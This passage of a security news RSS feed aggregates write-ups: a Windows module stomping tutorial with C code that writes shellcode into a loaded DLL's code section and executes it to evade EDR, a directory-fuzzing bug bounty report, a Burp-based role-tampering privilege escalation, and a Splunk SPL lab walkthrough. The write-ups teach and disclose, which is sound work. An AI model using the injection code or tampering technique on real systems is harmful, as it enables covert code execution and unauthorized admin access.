<pubDate>Sun, 07 Jun 2026 17:46:03 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Hacker George Hotz: KI-Agenten produzieren Fehler, die immer schwerer aufzuspüren sind]]></title> 
<description><![CDATA[Der mittlerweile 36-J&auml;hrige wurde ber&uuml;hmt, als er mit 17 Jahren das iPhone hackte. Einige Zeit sp&auml;ter ver&ouml;ffentlichte er einen Jailbreak f&uuml;r die PS3. ]]></description>
<link>https://tsecurity.de/de/3579628/IT+Sicherheit/Hacker/Hacker+George+Hotz%3A+KI-Agenten+produzieren+Fehler%2C+die+immer+schwerer+aufzusp%C3%BCren+sind/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579628/IT+Sicherheit/Hacker/Hacker+George+Hotz%3A+KI-Agenten+produzieren+Fehler%2C+die+immer+schwerer+aufzusp%C3%BCren+sind/</guid>
<pubDate>Sun, 07 Jun 2026 17:52:21 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Security Affairs newsletter Round 580 by Pierluigi Paganini – INTERNATIONAL EDITION]]></title> 
<description><![CDATA[A new round of the weekly Security Affairs newsletter has arrived! Every week, the best security articles from Security Affairs are free in your email box. Enjoy a new round of the weekly SecurityAffairs newsletter, including the international press. U.S. CISA adds SolarWinds Serv-U flaw to its Known Exploited Vulnerabilities catalog Report: Anthropic Deploys Engineers [&hellip;] ]]></description>
<link>https://tsecurity.de/de/3579580/IT+Sicherheit/Hacker/Security+Affairs+newsletter+Round+580+by+Pierluigi+Paganini+%E2%80%93+INTERNATIONAL+EDITION/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579580/IT+Sicherheit/Hacker/Security+Affairs+newsletter+Round+580+by+Pierluigi+Paganini+%E2%80%93+INTERNATIONAL+EDITION/</guid>
<pubDate>Sun, 07 Jun 2026 16:39:23 +0200</pubDate>
</item>
<item> 
<title><![CDATA[An Introduction to Module Stomping]]></title> 
<description><![CDATA[Overwriting DLLs for Windows Process InjectionBackgroundContextIn modern adversary emulation, generic process-injection techniques are closely scrutinized. Legacy approaches like cross-process thread creation with unbacked memory regions trigger immediate behavioral telemetry and get instantly popped by memory scanners.To bypass these hurdles, we need to slide past detection. Enter Module Stomping, a technique that involves overwriting the&nbsp;.text section of a loaded, signed DLL to hide our payload inside a disk-backed memory&nbsp;region.CHA CHA NOW&nbsp;YA&rsquo;LLIn this post, I will outline the basic workflow and some common primitives used in module stomping for Windows process injection.ToolsAll module stomping code referenced in this post can be found in the &lsquo;module-injection&rsquo; folder in my &lsquo;windows-process-injection&rsquo; repository.GitHub - toneillcodes/windows-process-injection: A collection of techniques for process injection on WindowsSystemInformer can optionally be used to follow the workflow and will be covered in the example PoC section of this&nbsp;post.System InformerModule StompingWorkflow &amp; PrimitivesThe following is an outline of a common module stomping workflow.Step One: Identify a target module or use LoadLibraryExA to load a &lsquo;sacrificial&rsquo; module to serve as the stomping&nbsp;target.Step Two: Identify an address within the target module&rsquo;s address space to write our buffer (typically by locating a specific exported function via GetProcAddress).Step Three: Write our buffer to the address from Step Two with WriteProcessMemory.Step Four: Create a new thread using the buffer address from Step Two with CreateThread.While this foundational workflow is completely functional, a stock implementation like this leaves a massive trail of Indicators of Compromise (IoCs). In the sections below, we&rsquo;ll analyze how this basic approach trips modern defenses, and how we can modify the code to obscure both static and dynamic signatures.Proof-of-ConceptLocal StompingThe cleanest way to map out this tradecraft is by executing it within our current process context. This keeps our debugging loop simple and focuses purely on the memory manipulation itself. Let&rsquo;s break down the core logic using the local-stomp.cpp source file from the &lsquo;Windows Process Injection&rsquo; repository.First, we need to open a handle to the current process using OpenProcess.// Open a handle to the current processHANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));if(pHandle == NULL) {    printf(&quot;Failed to acquire process handle!\n&quot;);    return -1;}printf(&quot;[*] Successfully opened handle to PID: %u\n&quot;, pid);Now that we have a handle, we need to either locate or load the target&nbsp;module.For this demonstration, we&rsquo;ll load wininet.dll; it&rsquo;s fairly large and so it can accommodate testing different payloads. Using LoadLibraryExA is not always a good idea, but it is helpful for demonstrating the&nbsp;concept.// load sacrificial DLL, using wininet because it is fairly large and so it can accomodate different PoC payloadsHMODULE hSacrificialDll = LoadLibraryExA(&quot;wininet.dll&quot;, NULL, DONT_RESOLVE_DLL_REFERENCES);if (hSacrificialDll == NULL) {    printf(&quot;[ERROR] Failed to obtain DLL handle! Error: %lu\n&quot;, GetLastError());    return -1;}printf(&quot;[*] Target DDL loaded.\n&quot;);We need to identify the&nbsp;.text section of the module. We can either locate the section itself or search the module for a specific function.For the sake of demonstration, we will leverage the GetProcAddresss function. We pass a handle to the module and the function name we want to locate, and it will return the&nbsp;address.LPVOID targetAddress = (LPVOID)GetProcAddress(hSacrificialDll, &quot;CommitUrlCacheEntryW&quot;);  if (targetAddress == NULL) {    printf(&quot;[ERROR] Failed to locate target function CommitUrlCacheEntryW! Error: %lu\n&quot;, GetLastError());    return -1;}printf(&quot;[*] Target wininet.dll!CommitUrlCacheEntryW located at: : 0x%016llx\n&quot;, targetAddress);Now that we have a target address, we can overwrite module code with our own buffer by using targetAddress as the destination parameter for WriteProcessMemory.// Write the shellcode to the block of memory that we allocated with VirtualAllocExBOOL writeShellcode = WriteProcessMemory(pHandle, targetAddress, buf, sizeof buf, NULL);if(writeShellcode == false) {    printf(&quot;[ERROR] Failed to write shellcode! Using addresss: 0x%016llx, Error: %lu\n&quot;, targetAddress, GetLastError());    FreeLibrary(hSacrificialDll);    return -1;}Finally, execute our buffer by creating a new thread, using the targetAddress value as the lpStartAddress parameter for CreateThread.// Create a new thread using the shellcode buffer address as the starting pointHANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)targetAddress, NULL, 0, NULL);if (tHandle == NULL) {    printf(&quot;[ERROR] Failed to create thread within the process (PID: %u)! Error: %lu\n&quot;, pid, GetLastError());    FreeLibrary(hSacrificialDll);    return -1;}CompileCompile the local-stomp.cpp example code and suppress warnings.windows-process-injection\module-stomping&gt;cl.exe local-stomp.cpp /W0Microsoft (R) C/C++ Optimizing Compiler Version 19.16.27054 for x64Copyright (C) Microsoft Corporation.  All rights reserved.local-stomp.cppMicrosoft (R) Incremental Linker Version 14.16.27054.0Copyright (C) Microsoft Corporation.  All rights reserved./out:local-stomp.exelocal-stomp.objwindows-process-injection\module-stomping&gt;Execute &amp;&nbsp;ValidateThe PoC includes pauses to help track the workflow. In this example, we will use SystemInformer (previously ProcessHacker) to illustrate the&nbsp;process.Run local-stomp.exe and pause at the first prompt to openSystemInformer and locate the process using the PID from the&nbsp;output.windows-process-injection\module-stomping&gt;local-stomp.exe[*] Running PI with target PID: 1100[*] Successfully opened handle to PID: 1100[*] Press Enter to load the sacrificial DLL: Double-click on the process from the list and, in the process Properties panel, open the &lsquo;Modules&rsquo; tab. Note that at this point, only kernel32.dll and ntdll.dll have been&nbsp;loaded.Baseline modules for our simple executable.Back at the console, press Enter to resume the process and load the sacrificial DLL wininet.dll and locate the CommitUrlCacheEntryW function.windows-process-injection\module-stomping&gt;local-stomp.exe[*] Running PI with target PID: 1100[*] Successfully opened handle to PID: 1100[*] Press Enter to load the sacrificial DLL: [*] Target DLL loaded.[*] Target wininet.dll!CommitUrlCacheEntryW located at: 0x00007ff917297f30[*] Press Enter to write the shellcode:In the console output, note the function&rsquo;s address:0x00007ff917297f30. Back in SystemInformer, review the &lsquo;Modules&rsquo; list. It should contain a new entry for wininet.dll.Refreshed module list shows the wininet.dll moduleSwitch to the &lsquo;Memory&rsquo; tab in SystemInformer and sort by &lsquo;Base Address&rsquo;. Locate the&nbsp;.text section of the target module by looking for the section that contains the function address (hint: it should have a &lsquo;Use&rsquo; value of &lsquo;C:\Windows\System32\wininet.dll&rsquo; with RXprotection).Locating the&nbsp;.text section of wininet.dll based on propertiesRight-click and copy the &lsquo;Base Address&rsquo; of this section. In this case, the address was 0x7ff917221000Subtract the function address from the section base to obtain the offset 0x00007ff917297f30 - 0x00007ff917221000 =&nbsp;0x76F30Double-click the Memory entry to view the contents. When the window loads, click the &lsquo;Go to&hellip;&rsquo; button and enter the offset found when subtracting the function from the module base RVA. (0x76F30). The code has not been tampered with and contains legitimate wininet.dll code.Baseline module code that has not been tampered&nbsp;withBack at the console, press &lsquo;Enter&rsquo; to write the shellcode to the target&nbsp;address...[*] Target wininet.dll!CommitUrlCacheEntryW located at: 0x00007ff917297f30[*] Press Enter to write the shellcode: Back in SystemInformer, in the &lsquo;Memory&rsquo; tab, click the &lsquo;Re-read&rsquo; button to refresh the memory at the target address. It should now reflect the bytes from our&nbsp;buffer.Updated memory shows our payload bytes and the calc.exe&nbsp;stringPress &lsquo;Enter&rsquo; one last time and confirm that the payload executes. Unless replaced, the shellcode is the Win32 calculator payload from Metasploit&rsquo;s msfvenom....[*] Press Enter to write the shellcode: [*] Press Enter to execute the shellcode: [*] Waiting for the thread to return...[*] Process injection complete.windows-process-injection\module-stomping&gt;Full execution resulting in a&hellip;calculator!ConclusionSummaryModule stomping successfully circumvents traditional allocation traps by hiding payloads directly within the&nbsp;.text section of legitimate DLLs.Module stomping is a valuable tool for Windows process injection.While highly functional as a baseline injection primitive, a vanilla implementation introduces secondary Indicators of Compromise (IoCs) via static imports and API&nbsp;strings.Modern EDR platforms and memory scanners don&rsquo;t just look for unbacked memory; they actively perform verification checks to spot when a loaded module&rsquo;s in-memory bytes deviate from its on-disk&nbsp;image.Next StepsEnhancementsWhile this foundational implementation gets our code running under the guise of a legitimate DLL, it leaves obvious footprints. In the next post, we will look at moving beyond basic local execution to&nbsp;explore:Remote Module Stomping: Orchestrating this dance inside a remote target&nbsp;process.Dynamic Function Resolution: Using PEB-walking techniques to reduce static IoCs and avoid highly scrutinized APIs.Targeted Stomping Workflow: Custom tooling to support a workflow for identifying the best target for module stomping operations.References&ldquo;Module Stomping: Who up stompin they modules&rdquo; by Dylan Tranhttps://dtsec.us/2023-11-04-ModuleStompin/SystemInformer by Winsider Seminars &amp; Solutions, Inc.https://systeminformer.sourceforge.io/MSDN: OpenProcesshttps://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocessMSDN: LoadLibraryExAhttps://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryexaMSDN: GetProcAddresshttps://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddressMSDN: CreateThreadhttps://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthreadAn Introduction to Module Stomping was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story. ]]></description>
<link>https://tsecurity.de/de/3579536/IT+Sicherheit/Hacker/An+Introduction+to+Module+Stomping/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579536/IT+Sicherheit/Hacker/An+Introduction+to+Module+Stomping/</guid>
<pubDate>Sun, 07 Jun 2026 16:40:30 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Sensitive Information Disclosure Through an Exposed File Repository.]]></title> 
<description><![CDATA[By kjuliusIntroduction.One of the things I enjoy most about bug bounty hunting is how often seemingly minor findings turn into legitimate security issues. Sometimes you don&rsquo;t need advanced exploitation techniques, complex chains, or zero-days. A simple directory discovery scan can reveal something that was never intended to be publicly accessible.In this article, I&rsquo;ll walk through a finding that started with a routine content discovery exercise and ended with an accepted medium-severity vulnerability report and a bounty&nbsp;reward.Starting With a Single Subdomain.During a bug bounty assessment, I was exploring an in-scope subdomain belonging to the target program. Like I usually do when approaching a new asset, I began with basic reconnaissance and content discovery.There&rsquo;s a reason experienced hunters spend so much time enumerating and fuzzing endpoints. Organizations often secure the applications everyone knows about, but forgotten directories, legacy services, and abandoned resources frequently slip through the&nbsp;cracks.For this target, I launched ffuf using a raft-medium-sized wordlist and let it do its&nbsp;thing.Command used.ffuf -u https://subdomain.target.com -w raft-medium-directory.txt -mc 200,301,302 -fs&nbsp;0At first, the results looked fairly ordinary. Most of the responses were either expected directories or redirections. Then one particular endpoint caught my attention:/filesThe response size looked interesting enough to warrant a closer&nbsp;look.Proof of Concept&nbsp;Image.The Unexpected Discovery.Naturally, I opened the endpoint in my&nbsp;browser.Instead of receiving a 403 Forbidden response or being redirected to a login page, I was presented with something entirely different.A file repository.The page appeared to be powered by a secure, enterprise-grade remote access and control solution used by IT help desks and customer support teams, and displayed a list of files available for viewing and download. Executables, ZIP archives, configuration files, batch scripts, and other resources were all sitting there in plain&nbsp;sight.Proof of Concept&nbsp;Image.My first thought was&nbsp;simple:&ldquo;Should this really be accessible to everyone?&rdquo;The more I looked at it, the more unusual it seemed. This wasn&rsquo;t a public download portal. It looked more like a support-related file store that had somehow ended up exposed to the internet.And perhaps most importantly, there was no authentication required.Anyone who discovered the endpoint could access&nbsp;it.Looking Beyond the&nbsp;Files.One mistake many researchers make is focusing only on whether they can find passwords, API keys, or other obvious&nbsp;secrets.While those findings are certainly impactful, information disclosure vulnerabilities often provide value in less direct&nbsp;ways.Even when files do not contain sensitive credentials, exposed repositories can reveal a surprising amount of information about an organization&rsquo;s environment.Installers can reveal software in&nbsp;use.Configuration files can expose deployment details.Support resources can provide attackers with intelligence that helps them understand internal workflows.In some cases, such information can even be leveraged for social engineering attacks.From a security perspective, the bigger issue was not necessarily the contents of a specific file &mdash; it was the fact that a repository intended for a limited audience appeared to be publicly accessible.Putting Together the&nbsp;Report.After documenting the endpoint and gathering screenshots, I prepared a report explaining the exposure and its potential impact.The report focused on the lack of access controls surrounding the file store and the information disclosure risks associated with unrestricted access.I included:The vulnerable endpoint.Evidence showing public accessibility.Screenshots of the exposed file&nbsp;listing.A discussion of the security implications.Recommendations for restricting access.Once everything was documented, I submitted the report and&nbsp;waited.As every bug bounty hunter knows, that&rsquo;s often the hardest&nbsp;part.The Verdict.A few days later, I received an update from the&nbsp;program.The report had been reviewed and validated.The security team agreed that the exposed file repository represented a legitimate security issue, and the finding was ultimately classified as a Medium Severity vulnerability.Proof of Concept&nbsp;Image.Even better, the report qualified for a bounty&nbsp;reward.Proof of Concept&nbsp;Image.Why This Finding&nbsp;MattersWhat makes this discovery memorable isn&rsquo;t its technical complexity.There was no authentication bypass.No privilege escalation.No remote code execution.No elaborate vulnerability chain.Instead, the finding serves as a reminder that effective reconnaissance remains one of the most powerful skills in bug bounty&nbsp;hunting.Many researchers rush toward complex attack techniques while overlooking the basics. Yet time and time again, simple content discovery uncovers forgotten assets that organizations never intended to&nbsp;expose.Sometimes the difference between finding nothing and finding a valid vulnerability is simply taking the time to investigate an interesting response.Lessons Learned.This experience reinforced a few important lessons for&nbsp;me.First, never underestimate directory fuzzing. Even mature organizations can accidentally expose resources that should remain&nbsp;private.Second, don&rsquo;t immediately dismiss information disclosure findings. Not every vulnerability needs to leak credentials to create&nbsp;risk.Third, when something feels out of place, investigate further. The /files endpoint could have easily been ignored as just another directory discovered during&nbsp;fuzzing.Instead, it turned out to be the source of a valid bug bounty&nbsp;report.Final Thoughts.Bug bounty hunting often rewards persistence more than complexity.This finding began with a single subdomain, a standard FFUF scan, and a bit of curiosity. What seemed like an ordinary directory discovery eventually became an accepted medium-severity report and a bounty&nbsp;payment.The next time you&rsquo;re running content discovery against a target, remember that hidden directories are hidden for a reason. Most will lead nowhere. Some will lead to dead&nbsp;ends.And every once in a while, one of them will lead to a vulnerability worth reporting.💬 Before You&nbsp;Go.This finding is a reminder that effective reconnaissance doesn&rsquo;t always require advanced techniques. Sometimes, a simple content discovery scan is enough to uncover assets that were never intended to be publicly accessible.The next time you&rsquo;re fuzzing a target, don&rsquo;t rush past an interesting response. Take a closer look, investigate further, and understand the context. Hidden directories often tell stories that the main application doesn&rsquo;t.Thanks for reading. If you enjoyed this write-up, feel free to leave some claps👏, follow for more bug bounty stories, reconnaissance techniques, and real-world security findings. See you in the next writeup, peace&hellip;&nbsp;🙏Sensitive Information Disclosure Through an Exposed File Repository. was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story. ]]></description>
<link>https://tsecurity.de/de/3579535/IT+Sicherheit/Hacker/Sensitive+Information+Disclosure+Through+an+Exposed+File+Repository./</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579535/IT+Sicherheit/Hacker/Sensitive+Information+Disclosure+Through+an+Exposed+File+Repository./</guid>
<pubDate>Sun, 07 Jun 2026 16:40:50 +0200</pubDate>
</item>
<item> 
<title><![CDATA[I Became Admin on a CTF Platform]]></title> 
<description><![CDATA[A few weeks ago I was poking around CTF platform. What I found was a pretty embarrassing vulnerability: any registered user could give themselves full admin access without knowing any admin credentials.What Was Actually HappeningWhen you log into the platform, the server sends back your account details including your role. Something like:{  &quot;username&quot;: &quot;hamza&quot;,  &quot;role&quot;: &quot;participant&quot;}This gets saved in browser&rsquo;s sessionStorage. From that point on, every time you do anything on the platform load a page, submit a form, click a button the browser sends this role back to the server. And the server just... believes it. No verification against the database, no server-side session check, nothing. If your browser says you&#039;re an admin, the server treats you like&nbsp;one.This is a classic case of client-side role enforcement the application is trusting the client to tell it who you are, which is never a good&nbsp;idea.ReproductionTo exploit this I used Burp Suite to modify web traffic in real&nbsp;time.Setting Up the Match and Replace&nbsp;RulesBurp Suite has a feature called Match and Replace. Think of it like Find &amp; Replace in Word, but it runs on live web traffic automatically. I set up four rules to cover all the places the role string could&nbsp;appear:Rule 1 &mdash; Response&nbsp;body:Field Value Type Response body Match participant Replace&nbsp;adminRule 2 &mdash; Request&nbsp;body:Field Value Type Request body Match participant Replace&nbsp;adminRule 3 &mdash; Response&nbsp;headers:Field Value Type Response header Match participant Replace&nbsp;adminRule 4 &mdash; Request&nbsp;headers:Field Value Type Request header Match participant Replace&nbsp;adminThen the same for request parameters &mdash; name and value&nbsp;both:End result &mdash; all rules&nbsp;active:Logging InWith those rules running, I logged in as a normal participant account. The server sends back &quot;role&quot;: &quot;participant&quot;, Burp silently flips it to &quot;admin&quot; before it hits the browser, the browser saves it, and from that point every request going back to the server carries the admin&nbsp;role.What Happened&nbsp;NextI navigated through the dashboard, profile pages, and challenge pages. Within a few requests the application started rendering the full admin panel.Full challenge management. I could edit or delete any existing room and upload new&nbsp;ones.The ImpactThis wasn&rsquo;t just &ldquo;oops, you can see an extra menu item.&rdquo; Admin access on this platform&nbsp;means:Full user management &mdash; view, modify, or delete any account on the&nbsp;platformChallenge manipulation &mdash; create fake challenges, delete real ones, change&nbsp;scoresCertificate fraud &mdash; the platform issues certificates for completed challenges. An attacker could issue themselves (or anyone else) a certificate for work they never did. Every certificate the platform has issued now has a question mark over&nbsp;itVM control &mdash; admin can start and stop virtual machines for any user, meaning you could kill someone&rsquo;s active session mid-challengeNo detection &mdash; because you&rsquo;re using a legitimate account and only modifying traffic client-side, nothing unusual shows up in server&nbsp;logsRoot CauseThe application was storing the full user object including the role in sessionStorage and then reading that role back on every subsequent request to make authorization decisions. There was no server-side verification that the role being claimed actually matched what was in the database.The fix is straightforward:Never read role from client-supplied data. The server should derive the user&rsquo;s identity from a secure, signed token (session cookie or JWT), then look up their actual role from the database on every&nbsp;request.Enforce access control server-side on every admin endpoint. If the role check doesn&rsquo;t exist in your backend code, a frontend check is meaningless.Store only an opaque token in the browser. The client doesn&rsquo;t need to know what your role is. Give it a random token that means nothing on its own, and let the server do the&nbsp;lookup.Closing ThoughtsBroken access control has sat at #1 on the OWASP Top 10 for years, and this is a textbook example of why. It&rsquo;s not always some sophisticated exploit chain sometimes it&rsquo;s just the server being too trusting about data it receives from the&nbsp;client.The issue was reported responsibly through official&nbsp;VDP.I Became Admin on a CTF Platform was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story. ]]></description>
<link>https://tsecurity.de/de/3579534/IT+Sicherheit/Hacker/I+Became+Admin+on+a+CTF+Platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579534/IT+Sicherheit/Hacker/I+Became+Admin+on+a+CTF+Platform/</guid>
<pubDate>Sun, 07 Jun 2026 16:41:53 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Splunk Exploring SPL: A Practical SOC Analyst Walkthrough for Search, Detection, and Threat Hunting]]></title> 
<description><![CDATA[Hands-on Splunk SPL walkthrough covering searching, filtering, structuring, transforming, enrichment, and anomaly detection from a practical SOC analyst perspective.Cybersecurity | Splunk | SIEM | SPL | Threat Hunting | SOC&nbsp;AnalysisSecurity analysts deal with overwhelming amounts of telemetry every single day. Authentication logs, process executions, network events, registry modifications, suspicious scripts, everything eventually becomes part of the&nbsp;noise.Without the ability to efficiently search, filter, and transform that data, incident response becomes painful very&nbsp;quickly.That is where Splunk&rsquo;s Search Processing Language (SPL) becomes incredibly powerful.In this walkthrough, I&rsquo;ll document my practical exploration of the Splunk Exploring SPL TryHackMe lab while approaching it from a real-world SOC analyst perspective. Instead of simply solving flags, the focus here is understanding why each query matters and how similar workflows apply during actual investigations.We&rsquo;ll cover:Search &amp; Reporting fundamentalsSPL operators and filtering logicStructuring investigation timelinesTransforming noisy logs into actionable intelligenceThreat hunting using anomaly detectionPractical enrichment techniques for&nbsp;analystsLet&rsquo;s jump&nbsp;in.Understanding Splunk Search &amp; ReportingSplunk&rsquo;s Search &amp; Reporting App is where analysts spend most of their investigative time.Core interface components include:Search Head &rarr; Where SPL queries are&nbsp;writtenTime Picker &rarr; Controls investigation scopeSearch History &rarr; Useful for revisiting prior&nbsp;searchesData Summary &rarr; Quick overview of available hosts, sources, and sourcetypesIn a real SOC environment, selecting the wrong timeframe can completely distort findings. A suspicious event hidden in &ldquo;All Time&rdquo; may immediately stand out in a tighter investigation window.First Search: Exploring the&nbsp;DatasetThe first step is always understanding what data&nbsp;exists.Since this lab uses the windowslogs index, the natural starting point is a broad&nbsp;search.PAYLOADindex=windowslogsThis query tells&nbsp;Splunk:Search the windowslogs indexReturn every matching&nbsp;eventThink of an index like a structured data container holding a particular category of&nbsp;logs.The result:12256 total&nbsp;eventsThis immediately gives us situational awareness regarding investigation scale.Investigating the Fields&nbsp;SidebarOne of Splunk&rsquo;s most useful reconnaissance tools is the Fields&nbsp;Sidebar.Instead of blindly guessing field names, it helps analysts&nbsp;inspect:parsed fieldsinteresting valuestop-occurring entriesnumeric fieldsstring-based fieldsevent distributionsThis becomes incredibly useful during exploratory threat&nbsp;hunting.For example, after loading the full dataset, we can&nbsp;inspect:More Fields &rarr;&nbsp;SourceIPto determine which source IP generated the highest activity.That revealed:172.90.12.11This kind of quick pivoting is common during triage investigations.Time-Bounded Event InvestigationTime filtering is one of the most important investigation skills in any&nbsp;SIEM.Instead of reviewing the entire dataset, the lab required narrowing the scope&nbsp;to:04/15/2022 from 08:05 AM to 08:06&nbsp;AMThis returned:134 eventsA single minute of logs producing over a hundred events is a practical reminder of how noisy enterprise environments can&nbsp;become.Proper time scoping often makes the difference between efficient investigation and&nbsp;chaos.Search Operators in&nbsp;SPLSearching raw logs is useful, but the real strength of SPL comes from operators.Operators allow us&nbsp;to:compare valuescombine conditionsexclude noisesearch patternscreate precise hunting&nbsp;logicFree Text&nbsp;SearchA quick free-text search looks like&nbsp;this:PAYLOADindex=windowslogs aliceThis searches for the&nbsp;keyword:aliceacross the indexed&nbsp;events.Free-text searching is especially useful&nbsp;when:exact field names are&nbsp;unknownrapid exploratory hunting is&nbsp;neededIOC validation beginsThis is often the fastest first move during incident&nbsp;triage.Relational OperatorsSplunk supports relational operators such&nbsp;as:=!==These allow direct comparison-based filtering.A practical example is excluding noisy system-generated events.Filtering SYSTEM Account&nbsp;NoisePAYLOADindex=windowslogs AccountName!=SYSTEMThis query:searches all Windows&nbsp;logsexcludes events where AccountName =&nbsp;SYSTEMWhy this&nbsp;matters:SYSTEM accounts generate enormous amounts of legitimate telemetry.Filtering them helps analysts focus on human-driven activity, where suspicious behavior is usually easier to&nbsp;spot.Successful Authentication EventsWindows authentication investigations frequently begin with Event&nbsp;IDs.For successful logons:PAYLOADindex=windowslogs EventID=4624Event ID:4624 = Successful LogonThis returned:26 eventsThis query is directly relevant&nbsp;for:authentication investigationsbrute-force reviewcredential abuse&nbsp;analysislateral movement detectionLogical OperatorsSplunk also supports standard logical operators:ANDORNOTINThese allow multi-condition filtering.Investigating Specific Network&nbsp;ActivitySuppose we want to isolate traffic involving a particular host and&nbsp;service.PAYLOADindex=windowslogs DestinationIp=172.18.39.6 DestinationPort=135This filters events involving:destination IP: 172.18.39.6destination port:&nbsp;135Returned:4 eventsWhy port 135&nbsp;matters:Port 135 commonly relates&nbsp;to:RPC communicationWindows remote service interactionpotential lateral movement&nbsp;behaviorThat makes it interesting from a defender&rsquo;s perspective.Host-Specific Source IP&nbsp;AnalysisNow let&rsquo;s narrow activity&nbsp;further.PAYLOADindex=windowslogs Hostname=Salena.Adam DestinationIp=172.18.38.5| stats count by SourceIpBreakdown:First:index=windowslogs Hostname=Salena.Adam DestinationIp=172.18.38.5Filters events involving:host Salena.Adamdestination 172.18.38.5Then:| stats count by SourceIpGroups matching events by source IP and counts occurrences.This transforms raw logs into summarized intelligence.Highest result:172.90.12.11Wildcard SearchesWildcards become useful when exact values are&nbsp;unknown.Example:PAYLOADindex=windowslogs cyber*This searches for terms beginning with:cyberResult:12256 eventsMeaning the wildcard matched the full dataset scope&nbsp;here.Wildcards are useful&nbsp;for:IOC family&nbsp;matchingfilename huntingpartial string&nbsp;searchesprocess pattern discoveryOrder of Evaluation in&nbsp;SPLOne subtle but important SPL behavior:OR takes precedence over&nbsp;ANDExample:alice AND bob OR charlieSplunk evaluates this&nbsp;as:alice AND (bob OR charlie)This can dramatically alter results if misunderstood.The operator with the lowest priority:ANDParentheses should always be used for complex hunting&nbsp;logic.Filtering Results in&nbsp;SPLBy this point, we already know how quickly raw event streams become overwhelming.Enterprise environments generate massive telemetry continuously, and hunting for anomalies without filtering is basically self-inflicted suffering.This is where SPL filtering commands become essential.Rather than manually digging through thousands of events, we refine datasets step by&nbsp;step.The fields&nbsp;CommandThe fields command allows analysts to explicitly include or exclude fields from search&nbsp;results.This improves:readabilityinvestigation speedfocus during&nbsp;triageInstead of showing every extracted field, we only surface what&nbsp;matters.PAYLOADindex=windowslogs| fields Domain SourceProcessId TargetProcessIdBreakdown:index=windowslogsLoads the Windows event&nbsp;dataset.Then:| fields Domain SourceProcessId TargetProcessIdRestricts visible output&nbsp;to:DomainSourceProcessIdTargetProcessIdThis is incredibly useful when dealing with noisy event records containing dozens of irrelevant fields.Result:Highest SourceProcessId: 9496Why Process IDs&nbsp;MatterProcess IDs are highly useful in endpoint investigations.They help analysts:track parent-child execution relationshipsreconstruct process&nbsp;treesidentify suspicious process&nbsp;spawningcorrelate endpoint&nbsp;behaviorExample:If PowerShell launches cmd.exe, process relationships can reveal execution flow immediately.The regex&nbsp;CommandExact string matching is useful &mdash; but sometimes insufficient.This is where regular expressions become powerful.Splunk supports PCRE (Perl Compatible Regular Expressions), allowing pattern-based filtering.Registry Pattern&nbsp;MatchingIn this case, we wanted to locate registry-related objects ending&nbsp;with:ManagerPAYLOADindex=windowslogs| regex TargetObject=&quot;Manager$&quot;Breakdown:TargetObject=&quot;Manager$&quot;The $ symbol&nbsp;means:end of&nbsp;stringSo this query matches values whose final text is&nbsp;exactly:ManagerResult:HKLM\SOFTWARE\Microsoft\SecurityManagerThis is especially useful&nbsp;for:registry huntingpersistence investigationsmalware artifact&nbsp;analysisinconsistent string&nbsp;matchingStructuring Results for InvestigationFiltering reduces&nbsp;noise.Structuring improves readability.Raw logs are terrible for incident storytelling.Structured output helps analysts quickly understand event&nbsp;flow.The table&nbsp;CommandThe table command creates clean, readable output using only selected&nbsp;fields.This is one of the most useful commands during investigations.PAYLOADindex=windowslogs| table EventID AccountName AccountTypeThis displays&nbsp;only:EventIDAccountNameAccountTypeResult:First AccountName: SYSTEMThis is far cleaner than reading raw event&nbsp;blobs.Why Structured Tables&nbsp;MatterTables are useful&nbsp;for:timeline analysisinvestigation reportingstakeholder communicationcorrelation reviewA readable table is far more useful than scrolling raw XML-like event&nbsp;data.Reversing Timeline&nbsp;OrderSplunk usually displays newer events&nbsp;first.But sometimes investigations require chronological order.That&rsquo;s where reverse&nbsp;helps.PAYLOADindex=windowslogs| table EventID AccountName AccountType| reverseThis flips event ordering.Result:First EventID:&nbsp;800Why Chronological Reconstruction MattersAttack investigations often follow sequence.Example:Initial accessAuthenticationProcess executionCredential dumpingRegistry persistenceLateral movementChronology makes attack flow&nbsp;obvious.Timeline-Based Process InvestigationNow let&rsquo;s investigate process execution history.PAYLOADindex=windowslogs EventID=1| table _time ParentProcessId ProcessId ParentCommandLine CommandLine| reverseBreakdown:EventID=1Focuses on process creation telemetry.Then:| tableStructures the&nbsp;output.Finally:| reverseShows oldest events&nbsp;first.Displayed fields:timestampparent process&nbsp;IDprocess IDparent command&nbsp;linechild command&nbsp;lineThis is excellent for reconstructing execution chains.Credential Discovery via Command-Line VisibilityDuring this timeline investigation, a credential appeared directly in process arguments.Discovered password:paw0rd1This is exactly why defenders love command-line logging.Attackers frequently expose:plaintext passwordsexecution argumentsmalicious scriptstool usageautomation commandsVisibility here can dramatically accelerate investigations.Transforming CommandsFiltering narrows datasets.Transforming commands summarize them.Instead of thousands of raw rows, transforming searches&nbsp;create:statisticstrendsranked outputsintelligence summariesCommon examples:topstatscharttimechartrareFrequency Analysis with&nbsp;topThe top command identifies frequently occurring field&nbsp;values.Useful for spotting dominant patterns.PAYLOADindex=windowslogs EventID=1| top ImageBreakdown:Focus on:EventID=1(process creation telemetry)Then:| top ImageReturns the most common executable image&nbsp;values.Result:C:\Windows\System32\BackgroundTransferHost.exeThis helps establish behavioral baselines.Why Frequency Analysis&nbsp;MattersNormal recurring binaries:explorer.exesvchost.exechrome.exePotentially suspicious recurring 